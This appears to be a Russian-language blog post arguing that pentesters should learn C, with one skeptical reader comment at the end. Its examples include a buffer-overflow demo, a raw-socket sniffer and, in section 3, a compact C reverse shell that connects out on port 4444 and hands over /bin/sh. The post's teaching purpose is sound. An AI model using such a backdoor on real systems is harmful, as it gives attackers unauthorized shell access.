Когда речь заходит о выборе языка для начинающего пентестера, чаще всего вспоминают Python: удобный синтаксис, тысячи библиотек, готовые скрипты на GitHub. Но чем глубже вы погружаетесь в безопасность, тем яснее становится: без языка C — никуда.
C не устаревает — он продолжает быть фундаментом всего: от операционных систем до эксплойтов. И вот почему в 2025 году знание C особенно важно для пентеста.
1. Эксплойты и уязвимости «живут» в C-коде
Большинство классических багов, с которых начиналась история кибербезопасности, происходили из-за ошибок в программах на C:
Buffer Overflow
Use-After-Free
Format String Vulnerabilities
Эти ошибки не появляются в Python или JavaScript — их просто нельзя там допустить. Но в C всё напрямую зависит от разработчика:
#include <stdio.h>
#include <string.h>
int main() {
char buf[8];
strcpy(buf, "AAAAAAAAAAAAAAAAAAAA"); // переполнение!
printf("Вы ввели: %s\n", buf);
return 0;
}
Компилируем → запускаем → и вуаля: программа падает. Для пентестера это — отправная точка для построения эксплойта.
2. Понимание того, «как всё устроено»
Если вы ломаете систему, нужно понимать её изнутри.
C даёт доступ к:
Памяти (через указатели и malloc/free)
Системным вызовам (через unistd.h, sys/socket.h)
Железу (через регистры и драйверы)
Например, простой сниффер на C, работающий через raw-сокеты:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/socket.h>
int main() {
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if(sock < 0) {
perror("Socket error");
return 1;
}
unsigned char buffer[65535];
while(1) {
int len = recv(sock, buffer, sizeof(buffer), 0);
if(len > 0) {
printf("Получен пакет длиной %d байт\n", len);
}
}
return 0;
}
В Python можно написать подобное с помощью scapy, но в C вы работаете напрямую с ядром, что даёт максимальную гибкость.
3. «Красные команды» и реверс
При анализе малвари, бэкдоров и эксплойтов вы постоянно встречаете C/С++.
Многие тулзы пишутся именно на C, потому что:
они маленькие по размеру;
легко компилируются под разные ОС (Windows/Linux/BSD);
дают полный контроль над памятью и сетью.
Простейший TCP-бекдор на C занимает меньше 20 строк:
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main() {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in serv = {AF_INET, htons(4444), {0}};
connect(sock, (struct sockaddr*)&serv, sizeof(serv));
dup2(sock, 0); dup2(sock, 1); dup2(sock, 2);
execl("/bin/sh", "sh", NULL);
}
Эта программа подключается к удалённому серверу и отдаёт туда оболочку. Никакой Python не даст такого же уровня минимализма и скорости.
4. IoT, роутеры и «железо»
Мир пентеста уже давно вышел за рамки веб-приложений. IoT-устройства, камеры, маршрутизаторы — всё это написано на C.
Хотите найти уязвимость в роутере? Придётся лезть в бинарник прошивки на C.
5. В 2025 году C = навык «ниже уровня фреймворков»
Сегодня многие пентестеры застревают на уровне «поднять Metasploit и нажать exploit». Это даёт результат только до определённого уровня. Настоящие исследователи и Red Team-специалисты должны уметь:
читать C-код уязвимого ПО;
писать свой PoC (proof-of-concept);
понимать, как работает память и стек.
Заключение
C — это не «ещё один язык для резюме». Это инструмент, который отличает скрипт-кидди от настоящего специалиста.
Python нужен для автоматизации,
Bash — для склейки тулзов,
но именно C позволяет залезть внутрь системы.
И если в 2025 году вы хотите не просто запускать чужие эксплойты, а создавать свои и понимать систему изнутри — учите C.
P.S. Идея для практики:
Возьмите старую CTF-задачу с buffer overflow, соберите её у себя и попробуйте воспроизвести атаку. Это даст больше опыта, чем неделя чтения книг по Python.
MinimumLaw
А сколько специалистов по безопасности нужно на одного программиста? И как же так получается, что контроллеры знают больше, чем разработчики? Как поможет знание С отлавливать проблемы в коде на JAVA или python'е?
И это при том, что С меня кормит уже много лет, и, надеюсь, еще долго будет кормить. Как по мне, язык С стоит учить в том случае, если есть желание очень глубоко вникнуть в тему "как именно оно работает". Но если реально глубоко, то С дело не ограничится - дальше схемотехника во всех ее проявлениях.
В остальных случаях эти знания факультативны, и без них вполне можно жить.